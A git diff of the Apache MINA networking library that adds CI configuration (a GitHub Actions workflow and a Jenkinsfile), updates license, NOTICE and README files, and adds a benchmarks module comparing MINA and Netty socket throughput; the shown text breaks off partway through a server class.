diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml new file mode 100644 index 0000000000..2a766675ab --- /dev/null +++ b/.github/workflows/ci.yaml @@ -0,0 +1,73 @@ +# SPDX-License-Identifier: Apache-2.0 +name: Java CI + +on: + # Build only the production branches on push, so internal feature branches do not trigger a build twice (once on push, once on the pull request). + push: + # Restricts push builds to these branches, even if the workflow is copied to another branch. + branches: + - 2.0.X + - 2.1.X + - 2.2.X + # Build every pull request targeting the branch this workflow lives on. + pull_request: + +# Permissions are granted per job. +permissions: { } + +# Check all pushes to production branches, but interrupt a PR job if a new commit is pushed. +concurrency: + group: ${{ github.workflow }}-${{ github.event.pull_request.number || github.ref }} + cancel-in-progress: ${{ github.event_name == 'pull_request' }} + +jobs: + test: + runs-on: ${{ matrix.os }} + strategy: + matrix: + os: [ubuntu-latest, windows-latest, macos-latest] + java-version: [17, 21, 25] + distribution: [temurin] + fail-fast: false + name: Test JDK ${{ matrix.java-version }}, ${{ matrix.os }} + + # Actions from the `actions` and `github` organizations are pinned to a major version tag rather than a commit SHA. + # This is a deliberate decision: + # + # - Those organizations have strong expertise in securing GitHub Actions. + # - A compromise of either organization would likely also compromise the GitHub Actions service itself, so pinning would not help. + # - These actions release frequently. + # + # The residual risk is deemed acceptable in exchange for less Dependabot churn across the maintained branches. + steps: + + - name: Checkout repository + uses: actions/checkout@v6 + with: + # Don't persist the GitHub token used to check out the repository. + persist-credentials: false + + - name: Set up JDK + uses: actions/setup-java@v5 + with: + java-version: ${{ matrix.java-version }} + distribution: ${{ matrix.distribution }} + cache: maven + + - name: Test with Maven + shell: bash + run: | + mvn verify \ + -Pserial \ + --show-version --batch-mode --errors --no-transfer-progress + + # Upload the test results, even when the build failed. + - name: Upload test reports + if: always() + uses: actions/upload-artifact@v7 + with: + name: "test-report-${{matrix.os}}-${{matrix.distribution}}-${{matrix.java-version}}-${{github.run_number}}-${{github.run_attempt}}" + # Don't warn or fail when no tests ran (e.g. a compilation failure). + if-no-files-found: ignore + path: | + **/target/surefire-reports diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000000..00930c7b0a --- /dev/null +++ b/.gitignore @@ -0,0 +1,15 @@ +.classpath +.project +.settings +.wtpmodules +*.ipr +*.iws +*.iml +target/ +bin/ +*.log +.deployables +.clover +META-INF/ +Dockerfile +/.idea/ diff --git a/Jenkinsfile b/Jenkinsfile new file mode 100644 index 0000000000..80b8856e8d --- /dev/null +++ b/Jenkinsfile @@ -0,0 +1,182 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * https://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +pipeline { + agent any + + tools { + maven 'maven_3_latest' + jdk params.jdkVersion + } + + options { + // Configure an overall timeout for the build of ten hours. + timeout(time: 20, unit: 'HOURS') + // When we have test-fails e.g. we don't need to run the remaining steps + buildDiscarder(logRotator(numToKeepStr: '5', artifactNumToKeepStr: '5')) + disableConcurrentBuilds() + } + + parameters { + choice(name: 'nodeLabel', choices: ['ubuntu', 'arm', 'Windows']) + choice(name: 'jdkVersion', choices: ['jdk_11_latest', 'jdk_17_latest', 'jdk_21_latest', 'jdk_22_latest', 'jdk_11_latest_windows', 'jdk_17_latest_windows', 'jdk_21_latest_windows', 'jdk_22_latest_windows']) + booleanParam(name: 'deployEnabled', defaultValue: false) + booleanParam(name: 'sonarEnabled', defaultValue: false) + booleanParam(name: 'testsEnabled', defaultValue: true) + } + + triggers { + cron('@weekly') + pollSCM('@daily') + } + + stages { + stage('Initialization') { + steps { + echo "running on ${env.NODE_NAME}" + echo 'Building branch ' + env.BRANCH_NAME + echo 'Using PATH ' + env.PATH + } + } + + stage('Cleanup') { + steps { + echo 'Cleaning up the workspace' + deleteDir() + } + } + + stage('Checkout') { + steps { + echo 'Checking out branch ' + env.BRANCH_NAME + checkout scm + } + } + + stage('Build JDK 22 Linux') { + tools { + jdk "jdk_22_latest" + } + steps { + echo 'Building JDK 22 Linux' + sh 'java -version' + sh 'mvn -version' + sh 'mvn clean install -Pserial' + } + } + + stage('Build JDK 21 Linux') { + tools { + jdk "jdk_21_latest" + } + steps { + echo 'Building JDK 21 Linux' + sh 'java -version' + sh 'mvn -version' + sh 'mvn clean install -Pserial' + } + } + + stage('Build JDK 17 Linux') { + tools { + jdk "jdk_17_latest" + } + steps { + echo 'Building JDK 17 Linux' + sh 'java -version' + sh 'mvn -version' + sh 'mvn clean install -Pserial' + } + } + + stage('Build JDK 11 Linux') { + tools { + jdk "jdk_11_latest" + } + steps { + echo 'Building JDK 11 Linux' + sh 'java -version' + sh 'mvn -version' + sh 'mvn clean install -Pserial' + } + } + + /*--- Comment out Windows builds for the moment ---*/ + /* + stage('Build JDK 22 Windows') { + tools { + jdk "jdk_22_latest_windows" + } + steps { + echo 'Building JDK 22 Windows' + sh 'java -version' + sh 'mvn -version' + sh 'mvn clean install -Pserial' + } + } + + stage('Build JDK 21 Windows') { + tools { + jdk "jdk_21_latest_windows" + } + steps { + echo 'Building JDK 21 Windows' + sh 'java -version' + sh 'mvn -version' + sh 'mvn clean install -Pserial' + } + } + + stage('Build JDK 17 Windows') { + tools { + jdk "jdk_17_latest_windows" + } + steps { + echo 'Building JDK 17 Windows' + sh 'java -version' + sh 'mvn -version' + sh 'mvn clean install -Pserial' + } + } + + stage('Build JDK 11 Windows') { + tools { + jdk "jdk_11_latest_windows" + } + steps { + echo 'Building JDK 11 Windows' + sh 'java -version' + sh 'mvn -version' + sh 'mvn clean install -Pserial' + } + } + + stage('Build JDK 8 Windows') { + tools { + jdk "jdk_1.8_latest_windows" + } + steps { + echo 'Building JDK 8 Windows' + sh 'java -version' + sh 'mvn -version' + sh 'mvn clean install -Pserial' + } + } + ---*/ + } +} diff --git a/LICENSE.jzlib.txt b/LICENSE.jzlib.txt index cdce5007d0..6859c59dee 100644 --- a/LICENSE.jzlib.txt +++ b/LICENSE.jzlib.txt @@ -2,7 +2,7 @@ JZlib 0.0.* were released under the GNU LGPL license. Later, we have switched over to a BSD-style license. ------------------------------------------------------------------------------ -Copyright (c) 2000,2001,2002,2003 ymnk, JCraft,Inc. All rights reserved. +Copyright (c) 2000-2011 ymnk, JCraft,Inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: diff --git a/LICENSE.ognl.txt b/LICENSE.ognl.txt deleted file mode 100644 index 947f642c79..0000000000 --- a/LICENSE.ognl.txt +++ /dev/null @@ -1,10 +0,0 @@ -OGNL is the creation of Luke Blanshard and Drew Davidson. - -Copyright © 1997-2003, Drew Davidson and Luke Blanshard. All rights reserved. - -Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: - -Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. Neither the name of the Drew Davidson nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - diff --git a/LICENSE.slf4j.txt b/LICENSE.slf4j.txt index e663b1d7f0..a51675a21c 100644 --- a/LICENSE.slf4j.txt +++ b/LICENSE.slf4j.txt @@ -1,28 +1,23 @@ -Copyright (c) 2004-2007 QOS.ch +Copyright (c) 2004-2022 QOS.ch Sarl (Switzerland) All rights reserved. -Permission is hereby granted, free of charge, to any person obtaining -a copy of this software and associated documentation files (the -"Software"), to deal in the Software without restriction, including -without limitation the rights to use, copy, modify, merge, publish, -distribute, and/or sell copies of the Software, and to permit persons -to whom the Software is furnished to do so, provided that the above -copyright notice(s) and this permission notice appear in all copies of -the Software and that both the above copyright notice(s) and this -permission notice appear in supporting documentation. +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, -EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT -OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR -HOLDERS INCLUDED IN THIS NOTICE BE LIABLE FOR ANY CLAIM, OR ANY -SPECIAL INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER -RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF -CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN -CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. -Except as contained in this notice, the name of a copyright holder -shall not be used in advertising or otherwise to promote the sale, use -or other dealings in this Software without prior written authorization -of the copyright holder. diff --git a/NOTICE-bin.txt b/NOTICE-bin.txt new file mode 100644 index 0000000000..39d01a3a27 --- /dev/null +++ b/NOTICE-bin.txt @@ -0,0 +1,36 @@ +Apache MINA +Copyright 2007-2026 The Apache Software Foundation. + +This product includes software developed at +The Apache Software Foundation (http://www.apache.org/). + +Please refer to each LICENSE..txt file for the +license terms of the components that Apache MINA depends on. + +Message logging is provided by the SLF4J library package, +which is open source software, written by Ceki Gülcü, and +copyright by SLF4J.ORG and QOS.ch. The original software is +available from + + http://www.slf4j.org/ + +Data compression support is provided by the JZLib library package, +which is open source software, written by JCraft, and copyright +by JCraft. The original software is available from + + http://www.jcraft.com/jzlib/ + +Spring framework is provided by the Spring framework library +package, which is open source software, written by Rod Johnson +et al, and copyright by Springframework.org. The original +software is available from + + http://www.springframework.org/ + +OGNL is provided by the OGNL library package, which is open source +software, written by Drew Davidson and Luke Blanshard. The original +software is available from + + http://www.ognl.org/ + + diff --git a/NOTICE.txt b/NOTICE.txt index d14a451d16..20ca0297f6 100644 --- a/NOTICE.txt +++ b/NOTICE.txt @@ -1,5 +1,5 @@ Apache MINA -Copyright 2007 The Apache Software Foundation. +Copyright 2007-2026 The Apache Software Foundation. This product includes software developed at The Apache Software Foundation (http://www.apache.org/). @@ -7,29 +7,3 @@ The Apache Software Foundation (http://www.apache.org/). Please refer to each LICENSE..txt file for the license terms of the components that Apache MINA depends on. -Message logging is provided by the SLF4J library package, -which is open source software, written by Ceki Gülcü, and -copyright by SLF4J.ORG and QOS.ch. The original software is -available from - - http://www.slf4j.org/ - -Data compression support is provided by the JZLib library package, -which is open source software, written by JCraft, and copyright -by JCraft. The original software is available from - - http://www.jcraft.com/jzlib/ - -Spring framework is provided by the Spring framework library -package, which is open source software, written by Rod Johnson -et al, and copyright by Springframework.org. The original -software is available from - - http://www.springframework.org/ - -OGNL is provided by the OGNL library package, which is open source -software, written by Drew Davidson and Luke Blanshard. The original -software is available from - - http://www.ognl.org/ - diff --git a/README.md b/README.md new file mode 100644 index 0000000000..313b488e5e --- /dev/null +++ b/README.md @@ -0,0 +1,69 @@ +[//]: # "/*" +[//]: # " * Licensed to the Apache Software Foundation (ASF) under one" +[//]: # " * or more contributor license agreements. See the NOTICE file" +[//]: # " * distributed with this work for additional information" +[//]: # " * regarding copyright ownership. The ASF licenses this file" +[//]: # " * to you under the Apache License, Version 2.0 (the" +[//]: # " * \"License\"); you may not use this file except in compliance" +[//]: # " * with the License. You may obtain a copy of the License at" +[//]: # " *" +[//]: # " * https://www.apache.org/licenses/LICENSE-2.0" +[//]: # " *" +[//]: # " * Unless required by applicable law or agreed to in writing," +[//]: # " * software distributed under the License is distributed on an" +[//]: # " * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY" +[//]: # " * KIND, either express or implied. See the License for the" +[//]: # " * specific language governing permissions and limitations" +[//]: # " * under the License." +[//]: # " */" +# Apache MINA developer guide + +This document gathers the minimal information about how to build the project. + +All the detailed information can be found in the (MINA Developer Guide page)[https://mina.apache.org/mina-project/developer-guide.html] + +## Building MINA + +You need Git to check out the source code from our source code repository. + +We have 3 branches: + +* 2.2.X, The latest version +* 2.1.X +* 2.0.X + +NOTE: The trunk is a dead branch! + +The following example shows how to get the current stable branch (2.2.X). + +``` +$ git clone -b 2.2.X https://gitbox.apache.org/repos/asf/mina.git mina-2.2.X +$ cd mina-2.2.X +``` + +## Prerequisites + +MINA requires Maven 3.8.5 at least, but builds well with recent version (we haven't yet tested it with Maven 4) + +You will need different versions of Java for the three branches: + +* 2.2.X: Java 17 is required +* 2.1.X and 2.0.X: Java 1.8 is required + +## Building MINA + +It's as simple as typing: + +``` +$ mvn clean install [-Pserial] +``` + +(The '-Pserial' flag is optional. It's only useful if you want to generate the code using the LGPL rxtx library). + +You are done... + +## Code convention + +Like it or not, we follow the ancient Sun's standard Java convention. Not tabs, 4 spaces instead. Please respect this convention, it saves the committers a lot of time when merging PRs. + + diff --git a/distribution/pom.xml b/distribution/pom.xml index 1fc5d11802..6a2da78010 100644 --- a/distribution/pom.xml +++ b/distribution/pom.xml @@ -18,13 +18,13 @@ under the License. --> - + 4.0.0 mina-parent org.apache.mina - 2.0.1-SNAPSHOT + 2.2.10-SNAPSHOT distribution @@ -42,21 +42,20 @@ maven-assembly-plugin + + + src/main/assembly/bin.xml + src/main/assembly/src.xml + + gnu + + package single - - - - src/main/assembly/bin.xml - src/main/assembly/src.xml - - gnu - - @@ -131,6 +130,12 @@ ${project.version} + + ${project.groupId} + mina-http + ${project.version} + + diff --git a/distribution/src/main/assembly/bin.xml b/distribution/src/main/assembly/bin.xml index c1fdf8fe99..16325893a0 100644 --- a/distribution/src/main/assembly/bin.xml +++ b/distribution/src/main/assembly/bin.xml @@ -34,7 +34,6 @@ README* LICENSE* - NOTICE* @@ -50,6 +49,14 @@ + + + ../NOTICE-bin.txt + + NOTICE.txt + + + @@ -63,6 +70,9 @@ *:sources + + ${project.groupId}:mina-example + ${project.groupId}:mina-transport-serial diff --git a/mina-benchmarks/pom.xml b/mina-benchmarks/pom.xml new file mode 100755 index 0000000000..c202d79da0 --- /dev/null +++ b/mina-benchmarks/pom.xml @@ -0,0 +1,60 @@ + + + + + + 4.0.0 + + org.apache.mina + mina-parent + 2.0.8-SNAPSHOT + + + mina-benchmarks + org.apache.mina + 2.0.12-SNAPSHOT + Apache MINA Benchmarks tests + + + ${project.version} + 3.5.9.Final + + + + + ${project.groupId} + mina-core + ${mina.version} + bundle + test + + + io.netty + netty + ${netty.version} + test + + + org.slf4j + slf4j-api + test + + + diff --git a/mina-benchmarks/src/test/java/org/apache/mina/core/BenchmarkBinaryTest.java b/mina-benchmarks/src/test/java/org/apache/mina/core/BenchmarkBinaryTest.java new file mode 100755 index 0000000000..2d28ad7a69 --- /dev/null +++ b/mina-benchmarks/src/test/java/org/apache/mina/core/BenchmarkBinaryTest.java @@ -0,0 +1,110 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.core; + +import java.io.IOException; +import java.util.Arrays; +import java.util.Collection; +import java.util.concurrent.CountDownLatch; +import java.util.concurrent.TimeUnit; + +import org.apache.mina.core.BenchmarkFactory.Type; +import org.apache.mina.util.AvailablePortFinder; +import org.junit.After; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.Parameterized; +import org.junit.runners.Parameterized.Parameters; +import static org.junit.Assert.assertTrue; + + +/** + * @author Apache MINA Project + */ +@RunWith(Parameterized.class) +public abstract class BenchmarkBinaryTest { + private int numberOfMessages; + + private int port; + + private BenchmarkServer server; + + private BenchmarkClient client; + + private int messageSize; + + private int timeout; + + private byte[] data; + + public BenchmarkBinaryTest(int numberOfMessages, int messageSize, int timeout) { + this.numberOfMessages = numberOfMessages; + this.messageSize = messageSize; + this.timeout = timeout; + } + + public abstract Type getClientType(); + + public abstract Type getServerType(); + + @Parameters + public static Collection getParameters() { + Object[][] parameters = new Object[][] { + { 100000, 10, 2 * 60 }, + { 100000, 1 * 1024, 2 * 60 }, + { 100000, 10 * 1024, 2 * 60 }, + { 100, 64 * 1024 * 1024, 10 * 60 } + }; + return Arrays.asList(parameters); + } + + @Before + public void init() throws IOException { + port = AvailablePortFinder.getNextAvailable(); + server = BenchmarkServerFactory.INSTANCE.get(getServerType()); + server.start(port); + client = BenchmarkClientFactory.INSTANCE.get(getClientType()); + data = new byte[messageSize + 4]; + data[0] = (byte) (messageSize >>> 24 & 255); + data[1] = (byte) (messageSize >>> 16 & 255); + data[2] = (byte) (messageSize >>> 8 & 255); + data[3] = (byte) (messageSize & 255); + } + + @After + public void shutdown() throws IOException { + client.stop(); + server.stop(); + } + + /** + * Send "numberOfMessages" messages to a server. Currently, 1 million, with two different + * size, 10Ko and 64Ko. + */ + @Test + public void benchmark() throws IOException, InterruptedException { + CountDownLatch counter = new CountDownLatch(numberOfMessages); + + client.start(port, counter, data); + boolean result = counter.await(timeout, TimeUnit.SECONDS); + assertTrue("Still " + counter.getCount() + " messages to send on a total of " + numberOfMessages, result); + } +} diff --git a/mina-benchmarks/src/test/java/org/apache/mina/core/BenchmarkClient.java b/mina-benchmarks/src/test/java/org/apache/mina/core/BenchmarkClient.java new file mode 100755 index 0000000000..11ab5186e3 --- /dev/null +++ b/mina-benchmarks/src/test/java/org/apache/mina/core/BenchmarkClient.java @@ -0,0 +1,32 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.core; + +import java.io.IOException; +import java.util.concurrent.CountDownLatch; + +/** + * @author Apache MINA Project + */ +public interface BenchmarkClient { + public void start(int port, CountDownLatch counter, byte[] data) throws IOException; + + public void stop() throws IOException; +} diff --git a/mina-benchmarks/src/test/java/org/apache/mina/core/BenchmarkClientFactory.java b/mina-benchmarks/src/test/java/org/apache/mina/core/BenchmarkClientFactory.java new file mode 100755 index 0000000000..d202ea01fa --- /dev/null +++ b/mina-benchmarks/src/test/java/org/apache/mina/core/BenchmarkClientFactory.java @@ -0,0 +1,39 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.core; + +/** + * @author Apache MINA Project + */ +public class BenchmarkClientFactory implements BenchmarkFactory { + + public static final BenchmarkClientFactory INSTANCE = new BenchmarkClientFactory(); + + public BenchmarkClient get(Type type) { + switch (type) { + case Mina: + return new MinaBenchmarkClient(); + case Netty: + return new NettyBenchmarkClient(); + default: + throw new IllegalArgumentException("Invalid type " + type); + } + } +} diff --git a/mina-benchmarks/src/test/java/org/apache/mina/core/BenchmarkFactory.java b/mina-benchmarks/src/test/java/org/apache/mina/core/BenchmarkFactory.java new file mode 100755 index 0000000000..d852cb881f --- /dev/null +++ b/mina-benchmarks/src/test/java/org/apache/mina/core/BenchmarkFactory.java @@ -0,0 +1,42 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.core; + +/** + * Common interface for client and server factories + * + * @author Apache MINA Project + */ +public interface BenchmarkFactory { + /** + * The different types of providers + */ + public enum Type { + Mina, Netty + } + + /** + * Allocate a provider. + * + * @param type the provider type + * @return the allocated provider + */ + public T get(Type type); +} diff --git a/mina-benchmarks/src/test/java/org/apache/mina/core/BenchmarkServer.java b/mina-benchmarks/src/test/java/org/apache/mina/core/BenchmarkServer.java new file mode 100755 index 0000000000..d4652e3732 --- /dev/null +++ b/mina-benchmarks/src/test/java/org/apache/mina/core/BenchmarkServer.java @@ -0,0 +1,35 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.core; + +import java.io.IOException; + +/** + * An interface for a server + * + * @author Apache MINA Project + */ +public interface BenchmarkServer { + /** Starts the server */ + public void start(int port) throws IOException; + + /** Stops the server */ + public void stop() throws IOException; +} diff --git a/mina-benchmarks/src/test/java/org/apache/mina/core/BenchmarkServerFactory.java b/mina-benchmarks/src/test/java/org/apache/mina/core/BenchmarkServerFactory.java new file mode 100755 index 0000000000..11ccc85e89 --- /dev/null +++ b/mina-benchmarks/src/test/java/org/apache/mina/core/BenchmarkServerFactory.java @@ -0,0 +1,42 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.core; + +/** + * @author Apache MINA Project + */ +public class BenchmarkServerFactory implements BenchmarkFactory { + + public static final BenchmarkServerFactory INSTANCE = new BenchmarkServerFactory(); + + /** + * {@inheritedDoc} + */ + public BenchmarkServer get(org.apache.mina.core.BenchmarkFactory.Type type) { + switch (type) { + case Mina: + return new MinaBenchmarkServer(); + case Netty: + return new NettyBenchmarkServer(); + default: + throw new IllegalArgumentException("Invalid type " + type); + } + } +} diff --git a/mina-benchmarks/src/test/java/org/apache/mina/core/MinaBenchmarkClient.java b/mina-benchmarks/src/test/java/org/apache/mina/core/MinaBenchmarkClient.java new file mode 100755 index 0000000000..4f5a54e4bb --- /dev/null +++ b/mina-benchmarks/src/test/java/org/apache/mina/core/MinaBenchmarkClient.java @@ -0,0 +1,86 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.core; + +import java.io.IOException; +import java.net.InetSocketAddress; +import java.util.Random; +import java.util.concurrent.CountDownLatch; + +import org.apache.mina.core.buffer.IoBuffer; +import org.apache.mina.core.service.IoConnector; +import org.apache.mina.core.service.IoHandlerAdapter; +import org.apache.mina.core.session.IoSession; +import org.apache.mina.transport.socket.SocketConnector; +import org.apache.mina.transport.socket.nio.NioSocketConnector; + +/** + * @author Apache MINA Project + */ +public class MinaBenchmarkClient implements BenchmarkClient { + + private static final Random random = new Random(); + + private IoConnector connector; + + /** + * {@inheritDoc} + */ + public void start(int port, final CountDownLatch counter, final byte[] data) throws IOException { + connector = new NioSocketConnector(2 * Runtime.getRuntime().availableProcessors()); + ((SocketConnector) connector).getSessionConfig().setSendBufferSize(64 * 1024); + ((SocketConnector) connector).getSessionConfig().setTcpNoDelay(true); + connector.setHandler(new IoHandlerAdapter() { + private void sendMessage(IoSession session, byte[] data) throws IOException { + IoBuffer iobuf = IoBuffer.wrap(data); + session.write(iobuf); + } + + public void sessionOpened(IoSession session) throws Exception { + sendMessage(session, data); + } + + public void messageReceived(IoSession session, Object message) throws Exception { + if (message instanceof IoBuffer) { + IoBuffer buffer = (IoBuffer) message; + //System.out.println("length="+buffer.remaining()); + for (int i = 0; i < buffer.remaining(); ++i) { + counter.countDown(); + if (counter.getCount() > 0) { + sendMessage(session, data); + } + } + } + } + + public void exceptionCaught(IoSession session, Throwable cause) throws Exception { + cause.printStackTrace(); + } + }); + connector.connect(new InetSocketAddress(port)); + } + + /** + * {@inheritedDoc} + */ + public void stop() throws IOException { + connector.dispose(true); + } +} diff --git a/mina-benchmarks/src/test/java/org/apache/mina/core/MinaBenchmarkServer.java b/mina-benchmarks/src/test/java/org/apache/mina/core/MinaBenchmarkServer.java new file mode 100755 index 0000000000..f71a90f4ec --- /dev/null +++ b/mina-benchmarks/src/test/java/org/apache/mina/core/MinaBenchmarkServer.java @@ -0,0 +1,127 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.core; + +import java.io.IOException; +import java.net.InetSocketAddress; + +import org.apache.mina.core.buffer.IoBuffer; +import org.apache.mina.core.service.IoAcceptor; +import org.apache.mina.core.service.IoHandlerAdapter; +import org.apache.mina.core.session.IoSession; +import org.apache.mina.transport.socket.nio.NioSocketAcceptor; + +/** + * @author Apache MINA Project + */ +public class MinaBenchmarkServer implements BenchmarkServer { + + private static enum State { + WAIT_FOR_FIRST_BYTE_LENGTH, WAIT_FOR_SECOND_BYTE_LENGTH, WAIT_FOR_THIRD_BYTE_LENGTH, WAIT_FOR_FOURTH_BYTE_LENGTH, READING + } + + private static final IoBuffer ACK = 